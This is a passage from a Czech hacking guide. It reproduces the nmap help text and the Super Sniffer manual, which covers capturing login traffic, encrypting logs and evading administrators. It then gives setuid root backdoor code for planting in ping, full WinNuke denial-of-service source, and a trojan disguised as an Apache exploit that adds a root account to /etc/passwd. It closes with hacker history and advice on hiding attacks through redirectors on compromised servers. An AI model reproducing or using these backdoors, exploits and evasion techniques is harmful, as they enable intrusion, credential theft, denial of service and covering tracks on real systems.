* -Ddecoy_host1,decoy2[,...] Hide scan using many decoys -T General timing policy -n/-R Never do DNS resolution/Always resolve [default: sometimes resolve] -oN/-oM Output normal/machine parsable scan logs to -iL Get targets from file; Use '-' for stdin * -S /-e Specify source address or network interface --interactive Go into interactive mode (then press h for help) Example: nmap -v -sS -O {www.my.com} 192.168.0.0/16 '192.88-90.*.*' SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES Ani snad nemusim pripominat, ze k dispozice jej mate na insecure.org/nmap/. Dalsi temer nutny nastroj je sniffer. Napr. takovy Super sniffer, zkracene oznacovany ss je opravdu skvely. Tady mate v anglictine to, co umi: -------START---------- Super Sniffer v1.00 =================== Super Sniffer is a combination of esniff.c (and all the sniffers derived from it) and tcpdump. It also supports a plethora of other options including DES encryption on log files, user monitoring, forwarding logs regularly to a secondary host and NFS file handle sniffing. It uses the libpcap library which was developed by the University of California, Lawrence Berkeley Laboratory and its contributors. [standard blurb] The libpcap library provides an interface to sniff packets on a variety of platforms including SunOS 4.x, Solaris 2.x, DEC OSF (Digital UNIX), IRIX, Linux, Ultrix 4.x and nearly all the vanilla BSD based systems such as BSDI, FreeBSD and NetBSD. Super Sniffer will incorporate in-kernel filtering using the Berkeley Packet Filter (bpf) on hosts that provide it. This allows network sniffing on busy networks with very fewer packet drops. Good for those major backbone networks. Super Sniffer is meant to be a an all-in-one sniffer, combining all the features of the scores of architecture-specific sniffers around. Super Sniffer will compile and sniff on virtually anything. For compiling and installation instructions, please read the 'INSTALL' file. If compilation is successful then you should end up with two executables, 'ss' and 'decrypt'. Features and Options ==================== In it's simplest form, typing 'ss' by itself will cause Super Sniffer to sniff on the first interface it can find, fork into the background and log it's output to stdout. All of Super Sniffer's output is logged to stdout so if you want to save it for viewing then you MUST redirect stdout to a file like 'ss > sniffer.output'. This will obviously log all output to the file sniffer.output. If you want Super Sniffer to stay in the foreground then use the -f option. Super Sniffer will listen for packets on the first available interface it can find, which is usually the first Ethernet Interface. However, if the system you are sniffing on is multi-homed and contains more than one interface then use the -i option to specify an alternate interface to sniff on. e.g. 'ss -i eth2 > out' will sniff packets on the eth2 interface. By default, Super Sniffer will log the first 256 bytes of all TCP connections destined for port 21 (ftp), 23 (telnet) and 513 (login). By specifying the -d option and then an integer value, the number of bytes to be logged will be changed. So, 'ss -d 1024 > out' will log the first 1024 bytes of all connections destined for TCP ports 21, 23 and 513. If you compiled with the -DCRYPT flag which enables DES encryption then by specifying the -c option, all output from Super Sniffer will be DES encrypted. When using this option you will be prompted for a pass phrase before the sniffer goes into action. Consequently, all output will be encrypted using DES Cipher Feedback Mode (CFB). Any serious hacker will use this option to stop the sysadm from finding and interpreting the logs. To decrypt the file, use the program 'decrypt [inputfile] [outputfile]' and supply the same pass phrase. If you have just broken into a system and plainly run 'ss', the process will show up in any ps listing and the promiscuous flag will show for the interface you are sniffing on. Usually the solution to this is to replace ps and ifconfig with your own versions. This is sufficient to hide on some remote computer on some useless University, however this will set off every alarm in more secure places. Super Sniffer can be put into PARANOID mode by specifying the -p option. When this option is set, Super Sniffer will monitor the system for users and as soon as anyone logs in or becomes active it will finish logging and exit. This is useful when you log into a system when the users are idle. You can then sniff till a user becomes active and then Super Sniffer will exit before the user/system administrator has any time to monitor the system. As a bonus option Super Sniffer can also sniff NFS file handles off the net. Obviously, if you don't know what these are, or what they are used for, then you will not need to worry about this option. For starters, try and get your hands on Leendert van Doorn's nfs shell. It allows to access directories via file handles only. To actually do the sniffing, specify the -n option. Super Sniffer will listen for packets (UDP only unfortunately) on port 2049 and record file handles for directories that pass via the local network segment. Finally, Super Sniffer allows what kind of packet filtering it will perform on the command line. This is exactly the same as tcpdump and more information can be contained from the tcpdump man pages. Summary of options ================== -i [interface]Specify interface to sniff on -cDES encrypt output -d [length]Sniff [length] bytes of each connection. -fSniff in foreground. -nSniff NFS filehandles. -pParanoid mode. Priklady pouziti ======== ss > sniff.out - Sniff on the first interface and send output to sniff.out. ss -d 2048 > sniff.out - Sniff on the first interface logging 2048 bytes of each connection. ss -n -p > sniff.out - Sniff on the first interface and log NFS file handles. Go into paranoid mode and abort when a user becomes active. ss -d 10240 tcp dst port 25 > sniff.out - Log 10k of every connection destined for port 25 (SMTP) ss -n -c -p -d 2048 tcp dst port 23 or udp dst port 2048 > sniff.out - Log 2k of every connection destined for TCP port 25. Log NFS file handles on UDP port 2048. Abort when user becomes active (PARANOID). DES Encrypt output file. ss -i ppp0 -f - Foreground sniff on interface ppp0 ss -i eth2 -p -c -n host cert.org > sniff.out - Sniff connections and NFS file handles destined for host cert.org only. DES Encrypt output file and run in paranoid mode. From person experience, I would advice against hacking. It's not good for your freedom and future prospects. But shit, it's fun. The Crawler. ------KONEC----------- 6) Lynx jako hackersky nastroj Velmi zajimave pouziti je v pripade brouzdani Lynxem. Nasadite sniffera na sitovy interfejs ppp0, prikazem ./ss -i ppp0 > modem. Do souboru s nazvem "modem" se bude logovat vse, co projde timto rozhranim. Necha se tim elegantne zjistit napr. operacni system remote pocitace v netu, a mnoho a mnoho dalsich informaci. Sniffujete-li napr. v nejake masine sitovy provoz a maji zde vice net rozhrani (ifconfig), je dobre udelat si jednoduchy skript pro vyber sniffu. Treba tento: #./ss -i ppp0 > modem ./ss > eth0 ss.out #./ss > eth1 ss1.out Samozrejmosti na masine jsou exploity. Na internetu existuje mnoho archivu, kde jsou kvalitni exploity k dispozici. Napr. {www.rootshell.com} nebo {www.insecure.org} aj. Problem je v tom, ze vetsina exploitu ma jepici zivot, takze po odstraneni chyby adminem jsou na nic. Proto je nutne sledovat bezpecnostni konference, kterych je dostatek. Mohu jmenovat napr. legendarni konferenci Bugtraq aj. Nebo cist cesky server underground.cz, ktery je ovsem v tomto smeru velmi nespolehlivy a nektere vyznamne chyby temer ignoruje. Standardne se exploit pouzije pro prunik do systemu (utocna zbran), pak se naistaluje backdoor, ktery zajisti pristup k systemu kdykoli v budoucnu :-). Princip cinnosti exploitu a backdooru jsem popsal v knize Hacking - odvracena tvar Internetu, neco je take v knize Zlocinci na siti. Pojdme se proto velmi podrobne podivat na upravy standardnich programu v Linuxu, jako je napr. Ping nebo Traceroute. Oba maji to spolecne, ze jsou root setuid. To znamena, ze i kdyz je spusti uzivatel jirka, proces jim spusteni bezi s pravy roota. Nejenom to, umoznuje do podobnych programu zabudovat velmi rafinovane backdoory na urovni zdrojoveho kodu. Pro vysvetleni pouziji legendarni utility slovenskeho hackerskeho uskupeni Sert (Syrup Emergency Responce Team). Zakladem je tento zdrojovy kod: 7)Upravy zdrojovych kodu /* Syrup Emergency Response Team */ char sert[10]; char odkaz[40]; char shell[10]; /* Syrup Emergency Response Team */ Nasleduje tento kod: /***** Syrup Emergency Response Team *****/ sert[0]='s'; sert[1]='e'; sert[2]='t'; sert[3]='i'; sert[4]='d'; sert[5]='\0'; odkaz[0]='\n'; odkaz[1]='C'; odkaz[2]='|'; odkaz[3]='-'; odkaz[4]='|'; odkaz[5]='o'; odkaz[6]='d'; odkaz[7]='T'; odkaz[8]='3'; odkaz[9]=' '; odkaz[10]='T'; odkaz[11]='0'; odkaz[12]=' '; odkaz[13]='p'; odkaz[14]='Y'; odkaz[15]='c'; odkaz[16]='3'; odkaz[17]=' '; odkaz[18]='a'; odkaz[19]=' '; odkaz[20]='z'; odkaz[21]='3'; odkaz[22]='R'; odkaz[23]='t'; odkaz[24]='e'; odkaz[25]=' '; odkaz[26]='S'; odkaz[27]='Y'; odkaz[28]='R'; odkaz[29]='u'; odkaz[30]='P'; odkaz[31]=' '; odkaz[32]='!'; odkaz[33]='\n'; shell[0]='/'; shell[1]='b'; shell[2]='i'; shell[3]='n'; shell[4]='/'; shell[5]='t'; shell[6]='c'; shell[7]='s'; shell[8]='h'; shell[9]='\0'; if (argc>1) { if (!strcmp(argv[1],sert)) { setuid(0); setgid(0); /* sice zbytocne ale aby ste si */ seteuid(0); /* nemysleli ze som lenivy hehe */ setegid(0); fprintf(stderr,odkaz); execl(shell,"",0); /* .. a ides .. */ } } /***** Syrup Emergency Response Team *****/ Takze to by stacilo k uprave zdrojaku... Vlastne by to stacilu uplne. Neverte tem, kdo tvrdi: ja jsem hacker, protoze jsem si cracknul Windows Commandera a uz nemusim klikat na tlacitka 1,2,3. Takze jstli si nejakej genialni windouzak myslel, ze tady zverejnim nejake seriove cisla na jeho ukradene programy, tak se hluboce spletl :-) Presto mam pro vas woknari na konec dobrou zpravu. Zdrojovy kod programu winnuke:-) /* winnuke.c - (05/07/97) By _eci */ /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */ #include #include #include #include #include #include #include #define dport 139 /* Attack port: 139 is what we want */ int x, s; char *str = "Bye"; /* Makes no diff */ struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; } void main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s \n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB); usleep(100000); printf("Done!\n"); close(s); } 8)Jak hackeri meni www stranky? Jak hackeri meni www stranky? Tak tohle by asi zajimalo kazdeho laika. U nas se tim proslavili lide z CZertu, pozdeji i z Binary division. Obcas se ukaze nejaky osamely hacker, ale nic organizovaneho. Stranky lze menit mnoha zpusoby a kreativite se meze nekladou. Lze odposlechnout heslo v siti, pres kterou se prihlasuje admin na svuj server, pouzit exploit na nejakou chybu serveroveho programu, pripadne ukradnout autorizacni udaje jinym zpusobem. Cilem je vzdy ziskat takova opravneni na systemu, ktera to umozni. Vrcholem snazeni je na Linuxu nebo Unixu(r) UID nula (root), ale neni to nutne. Nekdy staci opravneni, pod kterym pracuje www server (nejcasteji Apache). Podari-li se nam proniknout primo do tzv. shellu, lze hack provest velmi komfortne postupnym zadavanim prikazu operacnimu systemu. Lide z Binary division s uspechem vyuzivali chyby v Bindu (balik programu pro sluzbu nameserver). Proto tak radi utocili prave na nameservery. Menit obsah www stranek tim, ze se hacker snazi proniknout do shellu a nasledne ziskat vyssi opravneni pouzitim local exploitu je dost tezkopadne. Je to take mozne, ale nejprve je nutne zprovoznit nejakou sluzbu pro remote prihlasovani napr telnet nebo ssh. To se ale provadi vetsinou tehdy, chce-li hacker tuto masinu pouzivat jako obetniho beranka (most) pro dalsi utoky na dulezitejsi servery (maskovani). Remote exploity, pomoci kterych se utoci na nejakou serverovou sluzbu, vyuzivaji toho, ze tyto programy pracuji s pravy roota. Exploit ma ve svem zdrojovem kodu dabelsky radek, ktery lze editovat a tim menit prikaz, ktery ma chybny server provest. Autor exploitu na exportni verzi vetsinou dava nejaky informativni prikaz, napr. uname -a. Ale lze tam dat jine prikazy a opakovanym pouzitim expliotu je postupne provadet. Klasickym prikladem je exploit na program Ftpd. Zde je klicova cast exploitu. Pojdme si jej rozebrat radek po radku: Vlastne by to byla strasna nuda. Hacker je hackerem proto, protoze je zlomyslny. Radeji se tedy podivame podrobne na takovy zlomyslny exploit. Exploit napsal jisty Cech (na netu zmamy pod nickem setuid), ktery jej zverejnil nekdy v polovine roku 2000 v bezpecnostni konferenci {security@underground.cz}. Ale pozor! Nejedna se exploit, ale o trojskeho kone. Autor exploitu o nem tvrdi, ze je urcen na www server Apache verze 1.3.4. Udajne vyuziva buffer overflow technologie :-) Coz je ovsem nesmysl, proze URL parsing rutiny jsou proti temto utokum odolne. Dost reci tady je ten "exploit": /* remote apache 1.3.4 root exploit (linux) */ #include #include #include #include #include #include #include char shellcode[] = "\x65\x63\x68\x6f\x20\x68\x61\x6b\x72\x3a\x3a\x30\x3a" "\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x20" "\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"; #defineNOP0x90 #defineBSIZE256 #defineOFFSET400 #defineADDR0xbffff658 #define ASIZE2000 int main(int argc, char *argv[]) { char *buffer; int s; struct hostent *hp; struct sockaddr_in sin; if (argc != 2) { printf("%s \n", argv[0]); exit(1); } buffer = (char *) malloc(BSIZE + ASIZE + 100); if (buffer == NULL) { printf("Not enough memory\n"); exit(1); } memcpy(&buffer[BSIZE - strlen(shellcode)], shellcode, strlen(shellcode)); buffer[BSIZE + ASIZE] = ';'; buffer[BSIZE + ASIZE + 1] = '\0'; hp = gethostbyname(argv[1]); if (hp == NULL) { printf("no such server\n"); exit(1); } bzero(&sin, sizeof(sin)); bcopy(hp->h_addr, (char *)&sin.sin_addr, hp->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(80); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0) { printf("Can't open socket\n"); exit(1); } if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { printf("Connection refused\n"); exit(1); } printf("sending exploit code...\n"); if (send(s, buffer, strlen(buffer), 0) != 1) printf("exploit was successful!\n"); else printf("sorry, this site isn't vulnerable\n"); printf("waiting for shell.....\n"); if (fork() == 0) execl("/bin/sh", "sh", "-c", shellcode, 0); else wait(NULL); while (1) { /* shell */ } } Vsimnete si, ze se exploit opravdu tvari, ze chce provadet buffer overflow, dokonce se tak presne chova! Spustite-li tento "exploit" jako root, zapise vam na posledni radek vaseho /etc/passwd tento radek: hakr::0:0::/:/bin/sh >> /etc/passwd To je ovsem peknej pruser ze? Tento kod je "utajen" ve standardnim char shellcode[] = Jenze konec "exploitu" vsechno prozradi. "execl" jasne rika, ze shellkode se neposila na remote masinu, ale exne se lokalne. Ty vystupy "printf" jsou pouze komedie, kterou se autor exploitu snazi odpoutat pozornost od sveho podvodu. 9) Obecna teorie hackingu Na zaver teto casti trocha obecne teorie nikoho nazabije, takze hura do toho. Chcete-li mit ABSOLUTNI jistotu, ze vas server nikdo nehackne, odpojte jej od internetu, nebo LINUX, pripadne wokna nakonfigurujte tak, ze nebude reagovat na zadne dotazy uzivatelu site. Oboji je stejne. Takovy server je v siti k nicemu. Jestlize ovsem uvedete do provozu jakoukoli sluzbu, ktera komunikuje s uzivatelel v siti, vystavujete se moznosti zneuziti teto sluzby. Toto pravidlo plati obecne, protoze nikdo nevi, neni-li v prislusnem programu chyba. Tyto dve moznosti se navzajem vylucuji. Cim otevrenejsi system, tim vetsi riziko napadeni. Problem je v tom, ze jestlize napr. serverova sluzba odpovida na dotazy prichazejici z neznameho internetu, muze nastat situace, ze odpovi spatne, nebo dokonce zareaguje destruktivne vuci vlastnimu systemu :-) Je to podobne, jako kdyz vysetrovatel policie vede rozhovor s podezrelym. Jestlize ten na nic nereaguje a policie nema zadne dalsi prime dukazy, nema sanci pachatele usvedcit. Jestlize ovsem podezrely zacne reagovat (branit se), lze kladenim presne cilenych otazek prinutit podezreleho k chybe, kterou se mnohdy sam usvedci. Na podobnych principech je zalozena metoda hackovani, ktera hleda chyby typu Buffer Overflow. Napr. se pripojite na remote masitu telnetem, treba: telnet IP_adresa 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 2600.cz ESMTP 8.7.6/IDA-1.6 Sendmail is ready at Fri, 25 May 2001..... helo bbbbbbbbbbbbbbbbbbbbbbbbbb mail from: 1 && !strcmp(argv[1],"hess")) { setuid(0); setgid(0); execl("/bin/sh", "-i", 0); } } Ani vlastně nemusí čekat pět minut, ale stačí zadat $jmeno hess a máme rootshell. Nevím jaký program přesně použil Hess, ale možností je mnoho. Stačí např. skopírovat /bin/bash a nastavit mu setuid bit a následně spustit zkopírovaný bash. Markus Hess takto ovládal mnoho počítaču NATO. Problém je v tom, že ovládnutí jednoho počítače v uzavřené síti TCP/IP nastartuje proces ovládnutí dalších počítačů. Je to jako princip nejslabšího článku řetězu. Problém byl také v tom, že v minulosti používali tyto sítě pouze vědci, kteří se většinou znali a důvěřovali si. Jestliže se mezi ně dostane hacker s cílem programově škodit, je to katastrofa. Hacker může falšovat maily, vydávat se za někoho jiného aj. Podobným způsobem vytáhl z důvěřivých uživatelů jejich přihlašovací údaje a dostaval se do dalších systémů, kde použil svou fintu s programem Emacs. Dokonce získal práva administrátora na hlavním serveru velení vojenského letectva USA. Pomáhala mu v tom i otevřenost Unixu. Když amíci na začátku sedmdesátých let učili Unix TCP/IP, snažili se co nejvíce spříjemnit život uživatelům. Důkazem toho jsou příkazy rcp, rlogin nebo rsh. Všechny umožňují po určitém nastavení, provádět operace na vzdáleném stroji, aniž by uživatel zadal autentizační údaje. To všechno hrálo Hessovi do karet. Ale měl smůlu. Jeho kamarádi z Chaos computer clubu ho před FBI varovali. Ignoroval je! FBI pracuje pomalu, ale jiste. Trvalo hodně dlouho, než se do případu pustili. První kdo objevil jeho hackerské aktivity, byl jistý Cliff Stoll. I když Hess za sebou mazal stopy, udělal někde chybu. Účtovací systém nesouhlasil o pouhých 75 centů. To byl důkaz, že někdo používal počítač a neplatil. Tento nedoplatek byl tak malý, až byl podezřelý. Cliff Stoll později nalezl účet, jehož majitel již dávno pracoval jinde, přesto jeho konto někdo používal (klasika). Tento příběh je velmi dobře popsán v knize Kukaččí vejce a nechci tady tuto knihu citovat. Hesse tak dokonale sledovali, že na připojené tiskárně tiskli každý jeho úder na klávesnici, aniž to hacker tušil. To byl začátek jeho konce. Přesto to trvalo téměř rok, než lokalizovali jeho tel. číslo, ze kterého se připojoval modemem do sítě. Dokonce Stoll správně určil, že Hess je kuřák a jaké cigarety kouří. Hess, si totiž jednu značku cigaret vybral jako svoje oblíbené heslo. Nakonec dostal dva roky na tvrdo, ale po roce byl podmíněně propuštěn. V době, kdy se Hessův případ uzavíral se objevil další případ - Robert T.Morris a jeho internetový červ. O tomto problému byly již popsány stohy papíru a desítky mega dat textu. Na Internetu najdete o tomto problému velké množství odborného textu, ve kterém se autor snaží především ohromit čtenáře svojí počítačovou genialitou. Klasický příklad takového článku najdete např. v jednom čísle hackerského ezine Prielom na serveru hysteria.sk. Podíváme se na tento problém trochu lidově, aby to pochopil každý. Vyjdeme-li s definice exploitu, byl v podstatě zdrojový kód červa exploit, protože využíval chyb v programech Sendmail a Finger. To co způsobil, byl vedlejší produkt činnosti exploitu, ale rozhodně ne náhodný. Červ se prostě kopíroval z jendoho počítače na druhý neuvěřitelnou rychlostí a napadl asi dva tisíce počítačů. To bylo v té době obrovské množství. Červa lze tak trochu přirovnat k legendárnímu viru You love. Je mezi nimi jeden zásadní rozdíl. Zatímco You love se šířil především díky hlouposti uživatelů, Morrisonův červ se rozšířil automaticky a na uživatelích zcela nezávisle. K tomu aby se červ mohl šířit, musel autor tohoto programu nějak zajistit možnost, zadat příkaz operačnímu systému, který červ napadl. Jak to dělal? Určitě jste někdy slyšeli anglický výraz buffer owerflow. Podobnými výrazy se to doslova hemží na serveru underground.cz, aniž by někdo normálním lidem vysvětlil o co jde. Překlad znamená přetečení zásobníku. V dnešní době se podobné chyby hledají odborníkům na bezpečnost dobře. Zdrojový kód např. systému Linux je otevřený a podobné chyby lze objevit. Jak tedy Morris zajistil provedení svého kódu na vzdáleném stroji? Využíval k tomu mimo jiné chybu programu Finger. Jak? Při pohledu do zdrojového textu finger démona zjistil, že velikost zásobníku pro data, které démon přijímá je např. 512 bytů. Co se stane, pošlete-li dat např. 540 byte? Těch přebytečných 28 byte se provede jako přkaz Unixu, nebo chcete-li Linuxu. Protože podobné procesy jako Finger běží s právy administrátora, poběží s těmito právy i proces, který spustí těch přebytečných 28 byte. To je ovšem průser že? Rozhodně to nezkoušejte doma na Linuxu, protože tyto chyby jsou již dávno opraveny (alespoň doufám). Morrisonův červ byl prvním globálním útokem na celý Internet. Jak rychle se rozšířil, tak rychle zmizel. Přesto to bylo první vážné varování a od té doby se bezpečnosti začala věnovat mnohem větší pozornost. Když se hovoří o Internetu, nelze se vyhnout telefonním systémům. Snad každý uživatel Internetu sní o tom, že bude jednou telefonovat zadarmo. Nehorázné poplatky za telefonní služby, doslova vybízejí nějak tento systém obejít. Kdysi se na BBS objevil návod, jak telefonovat na analogových ústřednách zadarmo, respektive za jeden impulz. Šlo o to, že jste po vytočení čísla zaslali vaší ústředně ještě jeden impuls, těsně před návázáním spojení. Ústředna to vyhodnotila tak, jako že hovor skončil a vy jste mohli telefonovat třeba celý den za jeden impulz. Problém byl v tom, že jste neměli žádnou zpětnou informaci o zastavení počítadla. To jste poznali teprve na konci měsíce pohledem na telefonní účet. V praxi jsem to nikdy nevyzkoušel, protože jsem telefon v té době neměl a připojen jsem na digitální ústřednu. Údajně to fungovalo. Prvním velkým případem profesionálního hackera (Phreakera), který si telofonní systémy přivlastnil a dělal si s nimi co chtěl, byl Kevin Poulsen. Kevin za telefonní služby nikdy neplatil a nejenom to. Velmi dobře je to popsáno v knize s názvem "Hacker - Podivný život a zločiny počítačováho genia Kevina Poulsena", kterou napsal Jonathan Littman. Kevin nikdy nepoznal svoje rodiče a žil pouze se svou adoptivní matkou. Možná také proto se chtěl pomstít celému světu za svůj osud. Kevin byl docela obyčejný zločinec, protože se vloupával do telefonních ústředen, kde kradl kromě jiného především informace, které uměl geniálně zneužít. Svoji genialitu dotáhl téměř k dokonalosti. Klasickým příkladem jsou jeho podvody s rozhlasovou soutěží o ceny. Také u nás se podobné soutěže objevují. Musíte neustále poslouchat určitou rozhlasovou stanici, a když zazní předem určené tři po sobě následující skladby, rychle zavolat do redakce radia. Budete-li např. 102. volající v pořadí, vyhrajete zbrusu nové porsche 944 S2 se stahovací střechou. Nevěříte? Přečtěte si výše jmenovanou knihu. Autor v ní genialně líčí, jak hackeři ovládali všechny telefonní linky do rozhlasová stanice a měli vše pod kontrolou. Odpočítávali jednotlivé volající do soutěže, a když měl přijít sto druhý volající, všechny linky odpojili a připojili se sami. Nikdo na nic nepřišel. Každý takto postupně vyhrál své zbrusu nové porsche. Nakonec to s Kevinem Poulsenem dopadlo tak, jako s druhým legendárním Kevinem - zavřeli je oba. Oba měli jednu vadu - byli to notoriční hackeři, kteří neuměli přestat. V této době se stala ve Spojených státech další závažná událost, která otřásla celým telefonním systémem v USA. 15. ledna 1990 se zhroutila většina telefonních ústředen společnosti AT&T. Byla to zlověstná událost, která přišla náhle a nečekaně, jako blesk z čisté modré oblohy. Tisíce uživatelů byli bez telefonního spojení. V prvních hodinách ani specialisté AT&T, nevěděli o co jde a nikdo to nedokázal vysvětlit. Začali vše svádět na hackery. Ale tentokrát neprávem. Nakonec se zjistilo, že kolaps způsobila nepatrná softwarová chyba, která tikala jako časovaná bomba a čekala na svoji příležitost. Podrobný popis celé chyby je nad rámec této knihy, tak pouze velmi stručně. Chyba se projevovala pouze v případě, když intenzita hovorů přesáhla určitou kritickou mez. Pak docházel k postupnému kolapsu mnoha ústředen v síti, které se neustále dokola resetovaly, a tím celá síť blokovala. Dlouho nikdo neznal příčinu, proto všechno sváděli na hackery, kteří v tomto případě v tom byli nejeli. Tento výlet do historie zakončím pohledem do českých a slovenských luhů a hájů. Zde jako by neplatilo rozdělení česko-slovenska v roce 1993. Zde poprvé vystrčili růžky členové hackerské skupiny Czert, kteří originálním způsobem dávali najevo svoje umění. Pak byl dlouho klid, než se objevila další česko-slovenská skupina s názvem Binary division, kteří se proslavili především napadením serverů ministerstva vnitra. Ale koukám, že jsem se z historie nějak dostal do současnosti. Tak vzhůru do ní! Hacking on-line Pozorný čtenář si určitě všiml, že jsem ještě nepoužil slovo "Windows". To má svoji logiku. Psal jsem o historii hackingu na Internetu a v této době slovo windows mělo pouze svůj původní význam. Teprve na začátku devadesátých let, se Microsoft vrhnul na Internet se svými Windows NT. Hackeři většinou tento systém nemají rádi. Asi proto, že jeho kód je uzavřený a nemohou se v něm vrtat. A také tupě klikat myší je pod jejich úroveň. V jednom článku na Internetu jsem napsal, že díky Linuxu tiká na Internetu časovaná bomba. To sice může být pravda, ale také nemusí. Vše totiž záleží především na administrátorovi tohoto systému. Ale v případě Windows ta bomba tiká zcela určitě a navíc je atomová. Nedávno uveřejněná chyba v Outlooku je toho jasným důkazem. Jestliže pouhé otevření chytře napsaného obyčejného mailu, aktivuje chybu typu buffer owerflow, o které jsem psal výše, kolik je potom takových chyb uvnitř systému Windows? Jsem přesvědčen, že stovky. Kdyby Microsoft zveřejnil zdrojové kódy Windows, tak konference o bezpečnosti, jako např. Bugtraq, budou plné exploitů na Windows. To by ovšem pro Internet byla pěkná katastrofa. No nic...jenom jsem chtěl čtenáře upozornit, že zde se o Windows moc psát nebude. Hlavně proto, že hackeři svoje lumpárny provádějí především z příkazového řádku Unixu (dnes hlavně Linuxu). Takže chceme-li mapovat jejich činnost, musíme se přispůsobit. Rozhodně nevěřte nikomu, kdo o sobě tvrdí, že je hacker a přitom používá pouze Windows. I když možné to je, ale musel by si všechny exploity, které jsou zveřejňovány v jazyce C a ovládají se na příkazovém řádku Linuxu, přepsat do prostředí Windows. To bych si radeji pořídil Linux. Nedávno jsem četl na jednom serveru zajímavý nazor. Byl psán v souvislosti s obviněním jednoho hackera NASA. Autor článku si postěžoval, že servery NATO jsou asi velmi špatně zabezpečeny. Ono je to problém. Musíme si uvědomit, že v podobných institucích pracují hlavně vědci, kteří spolu dost intenzivně komunikují přes Internet. U nás to jsou např. různé vědecké ústavy, jako např. astronomické ústavy aj. Zde používají na serverech především Unix nebo Linux. Systém je standardně zabezpečen. Jsou zde povoleny služby telnet, ssh, ftp, finger aj. To sice na první pohled vypadá, že bezpečnost systému nebude dobrá, ale zaměstnanci těchto institucí spolu potřebují komunikovat bez problémů. Fingerem si zkusí, je-li kolega u počítače a už spolu talkují. Zabezpečit takový server pomocí firewallu, by tuto komunikaci a otevřenost systému komplikovalo. Nedávno jsem viděl inzerát jedné české firmy, která nabízela firewall na jedné disketě za 200 tisíc korun! Je sice pravda, že naprogramovat klalitní firewall není jednoduché, ale vůbec není jisté, že po jeho používání bude systém bezpečnější. Opak může být pravdou. Je to jako u Windows. Zdrojový kód firewallu je tajný a kdo vám zaručí, že tam nejsou chyby? Nakonec tam klidně může být i úmyslný backdoor ( slovo vysvětlím později). Tak pojďme se konečně podívat na slibovaný hackig on-line. O anonymitě na Internetu se toho již napsalo hodně. Na Světu Namodro, dokonce na toto téma vycházel seriál. Text sice zaplnil hodně prostoru na pevném disku, ale člověk se nedozvěděl nic. Nic o tom, jak být "stoprocentně" anonymní. Můžeme se klidně podívat na jeden konkrétní příklad. Určitě si pamatujete na případ zaměstnance České pojišťovny, který zveřejnil tajné informace o klientech na Internetu. Nevím přesně jak to udělal, ale tuším, že rezesílal nějaké maily přes freemailové www servery. Přesto ho policie bez problémů dopadla. Jak by tuto situaci asi řešil profesionální hacker? Především by mu bylo jasné, že jde o velký zločin a hackeři takové věci většinou nedělají. Ale třeba by mu někdo nabídnul milion dolarů když to zveřejní...možná by ho to zlomilo. Když vyloučíme trochu komediální metodu, jako např. že si koupí paruku, nechá narůst vousy a s disketou odjede na druhý konec republiky, kde to zveřejní z internetové kavárny. Tato metoda má riziko v tom, že průmyslové kamery mohou nahrát jeho práci na počítači, nebo pracovník kavárny ho pozná. Také zde může potkat někoho známého aj. Rohodně bych ale internetovou kavárnu úplně nevyloučil. Hacker jí může použít ve spolupráci s redirektory a hacknutým linuxovým serverem na Internetu. Také připojování z domova dial-up není ideální. Poskytovatélé Interntu dnes již standardně používají ISDN, takže mohou každého uživatele identifikovat pomocí tel. logů. Je to stejné jako u GSM - vidíte číslo valajícího. Výše jmenovaný redirektor je pro hackera velmi užitačné věcička. Pracuje tak, že všechny pakety, které na něho přijdou, přesměruje na jinou předem určenou IP adresu a port. Důležité je to, že redirektor posílá dalšímu serveru (nebo dalšímu redirektoru)IP adresu serveru na kterém pracuje. Tímto způsobem maskuje IP adresu původního odesilatele paketů. Takže takto nějak. Pak se může hacker připojit z kavárny na freemailový www server takto. Do prohlížeče napíše toto: {www.hacknuty_server:31337/}. Číslo 31337 je číslo portu, na kterém naslouchá redirektor na hacknuté mašině. Ten pakety přesměruje na další redirektor, na další hacknuté mašině atd. Poslední redirektor může být třeba na serveru v Pakistánu a ten přesměruje pakety na freemailový server hotmail.com, který příjemci mailu odešle identifikační IP adresu serveru v Pakistánu. Jak proti tomu bojovat? Asi nijak. Ma-li hacker na hacknutých mašinách roota a maže příslušné záznamy v logovacích souborech, tak není možné ho dopadnout. Rozhodně bych ale doporučuval používaní Internetu v kavárnách na občanský průkaz. Je to podobné jako ve veřejných knihovnách. Tam každého uživatele registrují a píší si čas kdy konkrétní počítač používal. Takže žádná anonymita. Nevím proč to nejde v kavárnách. Aha! už to vím PENÍZE. Jak omezit množství hacknutých mašin na Internetu? To záleží na adminech. Oni to mají vše v rukách. (používají-li Linux). Nyní bych rád rozebral jeden problém. Opět jsem na Internetu četl, že v USA byl přijat zákon, podle kterého každý, kdo získá osobní informace o cizích osobách neautorizovaným přístupem k počítačovámu systému, bude potrestám vězením až na pět let. Co když ale tyto informace získá autorizovaným přístupem? Kdo je vinen? Je to nereálné? Ale je! Píše se rok 1996, přijdete k poskytovateli Internetu, ten vám zřídí testovací účet. Nechce znát žádné vaše osobní údaje. Vy přijdete domů, připojíte se do Internetu. Přes FTP se připojíte na server poskytovatele. Ten vás místo do vašeho domácího adresáře, přepne do adresáře kořenového. Náhodou vás napadne stáhnout si 